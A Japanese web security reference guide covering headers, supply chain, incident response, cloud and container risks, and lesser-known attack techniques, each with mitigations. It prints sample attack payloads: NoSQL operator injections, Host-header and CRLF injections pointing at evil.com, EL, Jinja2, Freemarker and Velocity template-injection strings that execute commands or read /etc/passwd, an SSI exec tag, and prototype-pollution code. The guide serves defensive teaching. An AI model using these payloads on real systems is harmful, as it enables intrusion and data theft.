Expect-CT

  • 目的: 証明書の透明性を強制
  • 設定例: Expect-CT: max-age=86400, enforce
  • 注意: 2024年6月で廃止予定

Clear-Site-Data

  • 目的: ブラウザに保存されたデータの削除を要求
  • 設定例: Clear-Site-Data: "cache", "cookies", "storage"

Cross-Origin-Embedder-Policy (COEP)

  • 目的: クロスオリジンリソースの埋め込みを制御
  • 設定例: Cross-Origin-Embedder-Policy: require-corp

Cross-Origin-Opener-Policy (COOP)

  • 目的: クロスオリジンウィンドウ間の通信を制御
  • 設定例: Cross-Origin-Opener-Policy: same-origin

Cross-Origin-Resource-Policy (CORP)

  • 目的: クロスオリジンリソースの読み込みを制御
  • 設定例: Cross-Origin-Resource-Policy: same-origin

サプライチェーン攻撃

定義

サードパーティのライブラリ、フレームワーク、サービスを悪用した攻撃です。

攻撃の種類

  1. 依存関係の悪用
  2. 悪意のあるパッケージの配布（Typosquatting）
  3. 正規パッケージの乗っ取り
  4. 依存関係の脆弱性の悪用
  1. CI/CDパイプラインの侵害
  2. ビルドプロセスの改ざん
  3. デプロイメントスクリプトの悪用
  1. CDNの侵害
  2. CDNに配信されるリソースの改ざん
  3. サブドメインの乗っ取り

対策方法

  • 依存関係の監査: 定期的な脆弱性スキャン
  • パッケージの検証: 署名の検証、ハッシュ値の確認
  • 最小権限の原則: 必要最小限の依存関係のみ使用
  • ソフトウェア部品表（SBOM）: 使用しているコンポーネントの記録
  • サプライヤーの監査: サプライヤーのセキュリティ体制の確認

インシデント対応

定義

セキュリティインシデントが発生した際の対応プロセスです。

インシデント対応のフェーズ

  1. 準備（Preparation）
  2. インシデント対応計画の策定
  3. チームの編成と役割分担
  4. ツールとリソースの準備
  1. 検知（Detection）
  2. ログの監視
  3. 異常な活動の検知
  4. アラートの設定
  1. 分析（Analysis）
  2. インシデントの影響範囲の特定
  3. 攻撃の手法の分析
  4. 被害の評価
  1. 封じ込め（Containment）
  2. 被害の拡大を防止
  3. 感染したシステムの分離
  4. 一時的な対策の実施
  1. 根絶（Eradication）
  2. マルウェアの削除
  3. 脆弱性の修正
  4. バックドアの除去
  1. 回復（Recovery）
  2. システムの復旧
  3. 正常な動作の確認
  4. 監視の強化
  1. 事後対応（Post-Incident）
  2. インシデントレポートの作成
  3. 再発防止策の策定
  4. 教訓の共有

ログの重要性

  • アクセスログ: 誰がいつアクセスしたか
  • 認証ログ: ログイン試行、失敗記録
  • アプリケーションログ: エラー、重要な操作
  • セキュリティログ: セキュリティ関連のイベント

セキュリティ監視とSIEM

定義

セキュリティ情報イベント管理（SIEM）システムを使用した継続的な監視です。

監視すべき項目

  1. 認証関連
  2. 失敗したログイン試行
  3. 異常な時間帯のログイン
  4. 異なる場所からの同時ログイン
  1. アクセスパターン
  2. 異常なアクセスパターン
  3. 大量のリクエスト
  4. 通常と異なるエンドポイントへのアクセス
  1. データアクセス
  2. 大量のデータ取得
  3. 機密情報へのアクセス
  4. 異常なデータ操作
  1. システムリソース
  2. CPU、メモリの異常な使用
  3. ディスクI/Oの増加
  4. ネットワークトラフィックの異常

SIEMの機能

  • ログの集約: 複数のソースからのログを集約
  • 相関分析: 複数のイベントを関連付けて分析
  • アラート生成: 異常な活動を検知してアラートを生成
  • レポート作成: セキュリティ状況のレポート作成

コンテナセキュリティ

定義

Docker、Kubernetesなどのコンテナ環境におけるセキュリティです。

主な脆弱性

  1. コンテナイメージの脆弱性
  2. 古いベースイメージの使用
  3. 脆弱なライブラリの含まれるイメージ
  4. 機密情報がイメージに含まれる
  1. コンテナランタイムの設定不備
  2. 過剰な権限での実行
  3. ホストファイルシステムへのアクセス
  4. ネットワーク設定の不備
  1. オーケストレーションの設定不備
  2. サービス間通信の暗号化不足
  3. 認証・認可の不備
  4. ネットワークポリシーの不備

対策方法

  • イメージのスキャン: 脆弱性スキャンツールの使用
  • 最小権限の原則: 必要最小限の権限で実行
  • シークレット管理: 機密情報を環境変数やシークレット管理サービスで管理
  • ネットワークポリシー: コンテナ間通信を制限
  • ランタイム保護: コンテナランタイムの監視と保護

クラウドセキュリティの設定ミス

定義

クラウドサービス（AWS、Azure、GCPなど）の設定ミスによるセキュリティリスクです。

主な設定ミス

  1. ストレージの公開
  2. S3バケット、Azure Blob Storageが公開
  3. 認証なしでアクセス可能
  1. IAM（Identity and Access Management）の不備
  2. 過剰な権限の付与
  3. パブリックアクセスの許可
  4. 古いアクセスキーの残存
  1. ネットワーク設定の不備
  2. セキュリティグループの設定ミス
  3. 不必要なポートの開放
  4. パブリックIPアドレスの不適切な使用
  1. 暗号化の不備
  2. 暗号化されていないデータ転送
  3. 暗号化されていないデータ保存
  4. 弱い暗号化アルゴリズムの使用

対策方法

  • クラウドセキュリティポスチャ管理（CSPM）: 設定ミスを自動検出
  • 最小権限の原則: 必要最小限の権限のみ付与
  • 定期的な監査: 設定の定期的な見直し
  • 暗号化の徹底: すべてのデータを暗号化
  • アクセスログの監視: 異常なアクセスの検知

HTTP/2、HTTP/3のセキュリティ考慮事項

HTTP/2のセキュリティ

  1. ヘッダー圧縮（HPACK）の脆弱性
  2. CRIME攻撃: 圧縮を利用した情報漏洩
  3. 対策: 機密情報をヘッダーに含めない
  1. ストリームの優先順位
  2. DoS攻撃に利用される可能性
  3. 対策: ストリーム数の制限

HTTP/3のセキュリティ

  1. QUICプロトコルの特性
  2. UDPベースのため、従来のファイアウォールで検知が困難
  3. 対策: QUIC対応のセキュリティツールの使用
  1. 接続の移行
  2. 接続ハイジャックのリスク
  3. 対策: 適切な認証と検証

モバイルWebアプリケーションのセキュリティ

定義

モバイルデバイスでアクセスされるWebアプリケーションのセキュリティです。

主な考慮事項

  1. タッチジェスチャーの悪用
  2. 画面タップの順序を記録
  3. パターンロックの推測
  1. モバイルブラウザの特性
  2. キャッシュの動作
  3. オートフィルの動作
  4. 位置情報の取得
  1. ハイブリッドアプリ（PWA）
  2. ネイティブ機能へのアクセス
  3. オフライン機能
  4. プッシュ通知

対策方法

  • モバイル向けのセキュリティヘッダー: CSPの適切な設定
  • タッチ入力の保護: 機密情報入力時の画面録画防止
  • 位置情報の適切な管理: 必要最小限の位置情報のみ取得
  • オフラインデータの暗号化: ローカルストレージの暗号化

ゼロデイ脆弱性への対応

定義

公開されていない、またはパッチが提供されていない脆弱性です。

対応策

  1. 多層防御
  2. 単一の対策に依存しない
  3. 複数の防御層を実装
  1. 侵入検知システム（IDS/IPS）
  2. 異常な行動パターンの検知
  3. 自動的なブロック
  1. サンドボックス
  2. 疑わしいコードの隔離実行
  3. リソースアクセスの制限
  1. ホワイトリスト方式
  2. 許可された操作のみ実行
  3. 未知の動作をブロック
  1. セキュリティパッチの迅速な適用
  2. 脆弱性公開後の迅速な対応
  3. パッチ適用プロセスの確立

セキュリティテストの手法（詳細）

ファジング（Fuzzing）

  1. 定義: ランダムまたは半ランダムな入力を生成して、アプリケーションの動作をテスト
  2. 種類:
  3. ブラックボックスファジzing: 実装を知らずにテスト
  4. ホワイトボックスファジzing: 実装を知ってテスト
  5. グレーボックスファジzing: 一部の情報を知ってテスト
  6. ツール: AFL、libFuzzer、American Fuzzy Lop

ペネトレーションテスト

  1. 定義: 実際の攻撃をシミュレートして脆弱性を発見
  2. 種類:
  3. 外部テスト: インターネットからアクセス可能なシステムをテスト
  4. 内部テスト: 内部ネットワークからテスト
  5. ブラインドテスト: テスト対象の情報を最小限に
  6. プロセス: 情報収集、脆弱性スキャン、エクスプロイト、レポート作成

バグバウンティプログラム

  1. 定義: 外部のセキュリティ研究者に脆弱性の発見を依頼し、報酬を支払う
  2. メリット:
  3. 幅広い専門知識の活用
  4. 継続的なセキュリティテスト
  5. コスト効率の良い脆弱性発見
  6. 注意点:
  7. ルールの明確化
  8. 報酬の設定
  9. レスポンス時間の設定

マイナーな脆弱性と攻撃手法

HTTP Request Smuggling（HTTPリクエストスミューグリング）

重要度: ★★★★（高） | 難易度: ★★★★（上級） | 学習優先度: 中

定義

HTTPリクエストの境界を誤解させることで、フロントエンドとバックエンドのサーバー間でリクエストの解釈を異ならせ、攻撃者のリクエストを別のユーザーのリクエストに埋め込む攻撃です。

攻撃の仕組み

  1. CL.TE（Content-Length / Transfer-Encoding）
  2. フロントエンド: Content-Lengthを優先
  3. バックエンド: Transfer-Encodingを優先
  4. 結果: リクエストの境界がずれる
  1. TE.CL（Transfer-Encoding / Content-Length）
  2. フロントエンド: Transfer-Encodingを優先
  3. バックエンド: Content-Lengthを優先
  1. TE.TE（Transfer-Encoding / Transfer-Encoding）
  2. 両方のサーバーでTransfer-Encodingを処理するが、解釈が異なる

影響範囲

  • 認証バイパス: 他のユーザーのリクエストに攻撃者のリクエストを埋め込む
  • Web Cache Poisoning: キャッシュに悪意のあるコンテンツを保存
  • セッションハイジャック: 他のユーザーのセッションを乗っ取る

対策方法

  • リクエストの正規化: フロントエンドとバックエンドで同じHTTPパーサーを使用
  • Transfer-Encodingの無効化: プロキシでTransfer-Encodingを削除
  • リクエストの検証: 不正なリクエストを拒否

HTTP Desync Attacks（HTTPデシンク攻撃）

重要度: ★★★★（高） | 難易度: ★★★★（上級） | 学習優先度: 中

定義

HTTPリクエストの境界を誤解させることで、複数のリクエストを1つのリクエストとして処理させたり、1つのリクエストを複数に分割させたりする攻撃です。

攻撃の種類

  1. CL.0（Content-Length: 0）
  2. Content-Length: 0を設定し、実際のボディを別のリクエストとして処理
  1. H2C Smuggling
  2. HTTP/2からHTTP/1.1への変換時に境界がずれる

対策方法

  • HTTP/2の適切な処理
  • リクエスト境界の厳密な検証

NoSQL Injection（NoSQLインジェクション）

重要度: ★★★★（高） | 難易度: ★★★（中級） | 学習優先度: 中

定義

NoSQLデータベース（MongoDB、CouchDBなど）に対するインジェクション攻撃です。

攻撃の仕組み

// MongoDBの例
// 通常のクエリ
db.users.find({username: "admin", password: "password"})

// インジェクション攻撃
// 入力: {"$ne": null}
// 生成されるクエリ
db.users.find({username: "admin", password: {"$ne": null}})
// 結果: パスワードがnullでないすべてのユーザーが取得される

攻撃例

  • $ne（not equal）: {"$ne": null} で条件を回避
  • $gt（greater than）: {"$gt": ""} で条件を回避
  • $regex: 正規表現による条件操作
  • JavaScript実行: $where句でJavaScriptコードを実行

対策方法

  • 入力値の検証: オペレーターを許可しない
  • パラメータ化クエリ: ORMやODMを使用
  • 最小権限: データベースユーザーに最小権限のみ付与

Host Header Injection（ホストヘッダーインジェクション）

重要度: ★★★（中） | 難易度: ★★（初級） | 学習優先度: 中

定義

Hostヘッダーが適切に検証されず、パスワードリセット機能などで使用されるURLに悪意のあるホストが注入される脆弱性です。

攻撃の仕組み

GET /password-reset HTTP/1.1
Host: evil.com

パスワードリセットメール:
http://evil.com/reset?token=xxx

影響範囲

  • パスワードリセットトークンの漏洩: 攻撃者のサーバーにトークンが送信される
  • キャッシュポイズニング: 悪意のあるホストでコンテンツをキャッシュ
  • Web Cache Poisoning: キャッシュキーの操作

対策方法

  • Hostヘッダーの検証: 許可されたホストのみ許可
  • 絶対URLの使用: リダイレクトやメールで絶対URLを使用
  • X-Forwarded-Hostの適切な処理: リバースプロキシを使用する場合

CRLF Injection（CRLFインジェクション）

重要度: ★★★（中） | 難易度: ★★（初級） | 学習優先度: 中

定義

HTTPヘッダーやログに改行文字（CRLF: \r\n）を注入することで、HTTPレスポンスの分割やヘッダーの追加を行う攻撃です。

攻撃の仕組み

入力: "test\r\nLocation: http://evil.com"
生成されるHTTPレスポンス:
HTTP/1.1 200 OK
Set-Cookie: test
Location: http://evil.com

影響範囲

  • HTTPレスポンス分割: 任意のHTTPレスポンスを生成
  • ログインジェクション: ログファイルへの悪意のある内容の注入
  • HTTPヘッダーインジェクション: 任意のヘッダーの追加

対策方法

  • 改行文字の除去: \r、\nを除去またはエスケープ
  • 入力値の検証: 許可された文字のみ許可
  • エンコーディング: URLエンコーディングの適切な処理

Prototype Pollution（プロトタイプ汚染）

重要度: ★★★★（高） | 難易度: ★★★（中級） | 学習優先度: 中

定義

JavaScriptのObject.prototypeを汚染することで、アプリケーション全体に影響を与える攻撃です。

攻撃の仕組み

// 脆弱なコード
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key];
    }
    return target;
}

// 攻撃入力
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);

// 結果: すべてのオブジェクトにisAdminプロパティが追加される
const user = {};
console.log(user.isAdmin); // true

影響範囲

  • 認証バイパス: すべてのオブジェクトにisAdminなどのプロパティを追加
  • DoS攻撃: プロトタイプチェーンを汚染してアプリケーションをクラッシュ
  • リモートコード実行: 特定の条件下でコード実行が可能

対策方法

  • Object.create(null): プロトタイプを持たないオブジェクトを使用
  • hasOwnPropertyの使用: プロトタイプのプロパティを除外
  • Object.freeze: Object.prototypeを凍結
  • JSON.parseの安全な使用: __proto__を許可しない

Server-Side Includes（SSI）Injection

重要度: ★★★（中） | 難易度: ★★★（中級） | 学習優先度: 低

定義

Server-Side Includes（SSI）が有効なサーバーで、悪意のあるSSIコマンドが実行される脆弱性です。

攻撃の仕組み

<!-- 入力 -->
<!--#exec cmd="ls" -->

<!-- 実行されるコマンド -->
ls

影響範囲

  • コマンド実行: サーバー側でコマンドが実行される
  • ファイル読み取り: サーバー上のファイルを読み取る
  • 情報漏洩: サーバー情報の漏洩

対策方法

  • SSIの無効化: 不要な場合はSSIを無効化
  • 入力値の検証: SSIタグを許可しない
  • 最小権限: Webサーバーに最小権限のみ付与

Expression Language（EL）Injection

重要度: ★★★（中） | 難易度: ★★★（中級） | 学習優先度: 低

定義

Java EEのExpression Language（EL）に悪意のある式が注入される脆弱性です。

攻撃の仕組み

// 脆弱なコード
${pageContext.request.getParameter("input")}

// 攻撃入力
${pageContext.servletContext.classLoader.getResource("")}

// リモートコード実行
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('calc')")}

対策方法

  • EL式の無効化: 不要な場合はELを無効化
  • 入力値の検証: EL式を許可しない
  • サニタイゼーション: EL式の特殊文字をエスケープ

Template Injection Attacks（テンプレートインジェクション攻撃）

重要度: ★★★★（高） | 難易度: ★★★★（上級） | 学習優先度: 中

定義

テンプレートエンジンに悪意のあるコードが注入される脆弱性です。SSTI（Server-Side Template Injection）以外にも様々な種類があります。

種類

  1. Jinja2 Template Injection（Python）
# 攻撃入力
{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
  1. Freemarker Template Injection（Java）
// 攻撃入力
${"freemarker.template.utility.Execute"?new()("calc")}
  1. Velocity Template Injection（Java）
// 攻撃入力
#set($x=$class.forName("java.lang.Runtime"))$x.getRuntime().exec("calc")

対策方法

  • サンドボックス: テンプレートエンジンをサンドボックスで実行
  • 入力値の検証: テンプレート構文を許可しない
  • 最小機能: テンプレートエンジンの機能を最小限に

Padding Oracle Attack（パディングオラクル攻撃）

重要度: ★★★★（高） | 難易度: ★★★★★（最上級） | 学習優先度: 低

定義

暗号化されたデータに対して、パディングエラーの有無を確認することで、暗号文を復号する攻撃です。

攻撃の仕組み

  1. 暗号化されたデータの最後のブロックを変更
  2. パディングエラーの有無を確認
  3. 正しいパディング値を見つける
  4. 元の平文を推測
  5. 次のブロックを復号

影響範囲

  • 暗号文の復号: 暗号化されたデータを復号
  • 認証バイパス: セッションクッキーやトークンの偽造
  • 情報漏洩: 暗号化された機密情報の漏洩

対策方法

  • 定数時間比較: パディング検証を定数時間で実行
  • 認証付き暗号化: AES-GCMなどの認証付き暗号を使用
  • エラーメッセージの統一: パディングエラーとその他のエラーを区別しない

BREACH Attack（ブラウザでのリクエスト復号と圧縮ヘッダー攻撃）

重要度: ★★★（中） | 難易度: ★★★★（上級） | 学習優先度: 低

定義

HTTPSとHTTP圧縮（gzip、deflate）を組み合わせることで、HTTPSで暗号化されたリクエストの内容を推測する攻撃です。

攻撃の仕組み

  1. HTTPSでリクエストを送信（圧縮有効）
  2. 圧縮されたリクエストのサイズを測定
  3. 推測したい文字列を含むリクエストを送信
  4. サイズの変化から文字列を推測
  5. 繰り返しで全文を推測

影響範囲

  • HTTPSリクエストの復号: 暗号化されたリクエストの内容を推測
  • CSRFトークンの漏洩: CSRFトークンを推測
  • 認証情報の漏洩: パスワードやトークンを推測

対策方法

  • 圧縮の無効化: HTTPSリクエストで圧縮を無効化
  • レート制限: リクエストの頻度を制限
  • ランダムパディング: リクエストにランダムなパディングを追加

HEIST Attack（HTTP暗号化情報サイドチャネル攻撃）

重要度: ★★★（中） | 難易度: ★★★★（上級） | 学習優先度: 低

定義

HTTP/2の圧縮機能を利用して、暗号化されたリクエストの内容を推測する攻撃です。

対策方法

  • HTTP/2圧縮の無効化: HPACK圧縮を無効化
  • レート制限: リクエストの頻度を制限

DNS Rebinding Attack（DNSリバインディング攻撃）

重要度: ★★★★（高） | 難易度: ★★★（中級） | 学習優先度: 中

定義

DNSのTTL（Time To Live）を短く設定し、同一オリジンポリシーを回避して内部ネットワークにアクセスする攻撃です。

攻撃の仕組み

  1. 攻撃者がドメインを取得（例: evil.com）
  2. TTLを短く設定（例: 0秒）
  3. 被害者にevil.comにアクセスさせる
  4. ブラウザがDNSを解決してIPアドレスを取得
  5. TTL後、evil.comのIPアドレスを内部IPアドレス（例: 192.168.1.1）に変更
  6. ブラウザは同一オリジンと判断し、内部ネットワークにアクセス可能

影響範囲

  • 内部ネットワークへのアクセス: ルーターや内部システムへのアクセス
  • 情報漏洩: 内部ネットワークの情報を取得
  • 認証バイパス: 内部システムの認証を回避

対策方法

  • DNSピニング: 最初に解決したIPアドレスを固定
  • Private Network Access: プライベートネットワークへのアクセスを制限
  • DNS over HTTPS（DoH）: DNS解決を暗号化

Web Cache Deception（Webキャッシュ欺瞞）

重要度: ★★★（中） | 難易度: ★★★（中級） | 学習優先度: 中

定義

キャッシュサーバーが静的ファイルの拡張子を誤認することで、機密情報がキャッシュされる攻撃です。

攻撃の仕組み

1. 攻撃者がユーザーに以下のURLにアクセスさせる
   https://example.com/account/profile.php/nonexistent.css

2. サーバーは /account/profile.php を実行（機密情報を含む）

3. キャッシュサーバーは .css 拡張子を認識し、静的ファイルとしてキャッシュ

4. 他のユーザーが同じURLにアクセスすると、キャッシュされた機密情報が表示される

対策方法

  • 拡張子の検証: 実際のファイル拡張子を確認
  • キャッシュ制御: 動的コンテンツはキャッシュしない
  • Varyヘッダー: 適切なVaryヘッダーを設定

Insecure Random Number Generation（不安全な乱数生成）

重要度: ★★★★（高） | 難易度: ★★（初級） | 学習優先度: 中

定義

予測可能な乱数生成器を使用することで、セッションIDやトークンが推測される脆弱性です。

問題のある実装

// ❌ 脆弱な実装
const sessionId = Math.random().toString(36).substring(2);

// ❌ 脆弱な実装（Node.js）
const crypto = require('crypto');
const token = crypto.randomBytes(4).toString('hex'); // 短すぎる

安全な実装

// ✅ 安全な実装（Node.js）
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('hex');

// ✅ 安全な実装（ブラウザ）
const array = new Uint32Array(10);
crypto.getRandomValues(array);
const token = Array.from(array, dec => ('0' + dec.toString(16)).substr(-2)).join('');

対策方法

  • 暗号学的に安全な乱数生成器: crypto.getRandomValues()や/dev/urandomを使用
  • 十分な長さ: セッションIDやトークンは十分な長さ（最低32バイト）を確保
  • 予測不可能性の検証: 乱数のエントロピーを検証

Weak Cryptographic Storage（弱い暗号化ストレージ）

重要度: ★★★★★（最高） | 難易度: ★★★（中級） | 学習優先度: 高

定義

機密情報を保存する際に、弱い暗号化アルゴリズムや不適切な実装を使用する脆弱性です。

問題のある実装

// ❌ 脆弱な実装（Base64は暗号化ではない）
const encrypted = btoa(password);

// ❌ 脆弱な実装（ECBモード）
const encrypted = crypto.createCipher('aes-128-ecb', key).update(password);

// ❌ 脆弱な実装（固定IV）
const iv = Buffer.from('0000000000000000');
const encrypted = crypto.createCipheriv('aes-128-cbc', key, iv).update(password);

安全な実装

// ✅ 安全な実装（Node.js）
const crypto = require('crypto');
const algorithm = 'aes-256-gcm';
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);

const cipher = crypto.createCipheriv(algorithm, key, iv);
let encrypted = cipher.update(password, 'utf8', 'hex');
encrypted += cipher.final('hex');
const authTag = cipher.getAuthTag();

// 復号時
const decipher = crypto.createDecipheriv(algorithm, key, iv);
decipher.setAuthTag(authTag);
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');

対策方法

  • 強力なアルゴリズム: AES-256-GCMなどの認証付き暗号を使用
  • ランダムなIV: 毎回異なるIV（初期化ベクトル）を使用
  • 鍵管理: 鍵の適切な管理とローテーション
  • パスワードのハッシュ化: パスワードは暗号化ではなく、bcrypt、Argon2などのハッシュ化を使用

Unvalidated Redirects and Forwards（未検証のリダイレクトとフォワード）

重要度: ★★★（中） | 難易度: ★★（初級） | 学習優先度: 中

定義

リダイレクト先のURLが適切に検証されず、任意のURLにリダイレクトされる脆弱性です。

攻撃の仕組み

通常のリダイレクト:
https://example.com/login?redirect=/dashboard

攻撃:
https://example.com/login?redirect=http://evil.com

影響範囲

  • フィッシング攻撃: 正規サイトを装った偽サイトにリダイレクト
  • オープンリダイレクト: 信頼性を悪用した攻撃

対策方法

  • ホワイトリスト: 許可されたURLのみ許可
  • 相対URLの使用: 相対URLのみ許可
  • トークンの検証: リダイレクト先にトークンを付与し、検証

XML Entity Expansion Attacks（XMLエンティティ拡張攻撃）

重要度: ★★★（中） | 難易度: ★★★（中級） | 学習優先度: 低

定義

XMLエンティティの再帰的な展開により、サーバーリソースを消費する攻撃です。XXEとは異なります。

攻撃例

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- さらに拡張 -->

対策方法

  • エンティティの制限: エンティティの展開回数を制限
  • XMLパーサーの設定: 安全な設定を使用
  • 入力サイズの制限: XML文書のサイズを制限

Insecure File Permissions（不安全なファイル権限）

重要度: ★★★★（高） | 難易度: ★★（初級） | 学習優先度: 中

定義

Webサーバー上のファイルやディレクトリの権限設定が不適切で、機密情報が漏洩する脆弱性です。

問題のある設定

# ❌ 脆弱な設定
chmod 777 /var/www/html/config.php
chmod 755 /var/www/html/.env

# ❌ 脆弱な設定（ディレクトリリスティング有効）
Options +Indexes

安全な設定

# ✅ 安全な設定
chmod 640 /var/www/html/config.php
chmod 600 /var/www/html/.env
chown www-data:www-data /var/www/html/config.php

# ✅ 安全な設定（ディレクトリリスティング無効）
Options -Indexes

対策方法

  • 最小権限の原則: 必要最小限の権限のみ付与
  • 機密ファイルの保護: .env、config.phpなどの機密ファイルをWebルート外に配置
  • ディレクトリリスティングの無効化: Apache、Nginxでディレクトリリスティングを無効化

まとめ（更新版）

WEBセキュリティは多層的な防御が必要です。単一の対策だけでは不十分であり、以下のような包括的なアプローチが重要です:

  1. セキュアな設計: 初期設計段階からセキュリティを考慮
  2. セキュアコーディング: 安全なコーディング手法の実践
  3. 定期的な診断: 継続的な脆弱性診断と修正
  4. セキュリティ教育: 開発者へのセキュリティ教育
  5. インシデント対応: セキュリティインシデント発生時の対応計画
  6. 継続的な監視: SIEMなどのツールを使用した継続的な監視
  7. サプライチェーン管理: サードパーティのコンポーネントの管理
  8. 最新情報の把握: 新しい脅威や脆弱性情報の収集

最新の脅威情報を常に把握し、OWASP Top 10、CWE Top 25、NIST Cybersecurity Frameworkなどの標準的なガイドラインを参照しながら、継続的にセキュリティを改善していくことが重要です。

また、技術的な対策だけでなく、組織的な取り組み（セキュリティポリシーの策定、従業員教育、インシデント対応体制の構築など）も重要な要素です。

クイックリファレンス（専門家向け）

主要脆弱性の対策コード一覧

SQLインジェクション対策

// 安全な実装（Java）
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
// 安全な実装（PHP）
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

XSS対策

// 安全な実装（JavaScript）
function escapeHtml(text) {
    const map = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#x27;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
}

CSRF対策

<!-- 安全な実装（HTML + サーバー側） -->
<form method="POST">
    <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
    <!-- フォームの内容 -->
</form>

セキュリティヘッダーの推奨設定

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()

よく使用されるツール
OWASP ZAP Webアプリケーションスキャン 無料
Burp Suite セキュリティテスト 有料/無料版あり
SQLMap SQLインジェクション検出 無料
Nmap ポートスキャン 無料
Nikto Webサーバースキャン 無料

チェックリスト

開発時のチェックリスト

入力値検証

  • [ ] すべてのユーザー入力を検証している
  • [ ] サーバー側で検証を実施している（クライアント側のみではない）
  • [ ] ホワイトリスト方式を使用している
  • [ ] データ型の検証を実施している

SQLインジェクション対策

  • [ ] プリペアドステートメントを使用している
  • [ ] 動的にSQL文を組み立てていない
  • [ ] データベースユーザーに最小権限のみ付与している
  • [ ] エラーメッセージに詳細情報を含めていない

XSS対策

  • [ ] 出力時にエスケープ処理を実施している
  • [ ] CSP（Content Security Policy）を設定している
  • [ ] ユーザー入力にHTMLタグが含まれる場合、適切にサニタイズしている
  • [ ] HttpOnly属性をクッキーに設定している

CSRF対策

  • [ ] CSRFトークンを実装している
  • [ ] SameSite属性をクッキーに設定している
  • [ ] 重要な操作には再認証を要求している

認証・認可

  • [ ] パスワードをハッシュ化して保存している
  • [ ] 強力なハッシュアルゴリズムを使用している（bcrypt、Argon2など）
  • [ ] セッションIDを適切に生成・管理している
  • [ ] ログイン試行回数を制限している
  • [ ] アクセス制御を実装している

エラーハンドリング

  • [ ] 詳細なエラーメッセージをユーザーに表示していない
  • [ ] スタックトレースをユーザーに表示していない
  • [ ] エラー情報をログに記録している

セキュリティヘッダー

  • [ ] HSTSを設定している
  • [ ] CSPを設定している
  • [ ] X-Frame-Optionsを設定している
  • [ ] X-Content-Type-Optionsを設定している

リリース前のチェックリスト

  • [ ] 脆弱性診断を実施した
  • [ ] セキュリティヘッダーを設定した
  • [ ] バージョン情報を非表示にした
  • [ ] デフォルトのパスワード・アカウントを変更した
  • [ ] 不要なファイル・ディレクトリを削除した
  • [ ] ログの設定を確認した
  • [ ] バックアップの設定を確認した
  • [ ] インシデント対応計画を準備した

運用時のチェックリスト

  • [ ] 定期的に脆弱性スキャンを実施している
  • [ ] セキュリティパッチを適用している
  • [ ] ログを監視している
  • [ ] 異常なアクセスを検知している
  • [ ] セキュリティイベントに応答できる体制がある
  • [ ] 定期的にセキュリティレビューを実施している

Collection

note

Citation

unjuno, “情報セキュリテイ８,” unjuno'sResearchLibrary, accessed October 8, 2026, https://archive.unjuno.org/items/show/117.

コメント

Tumblr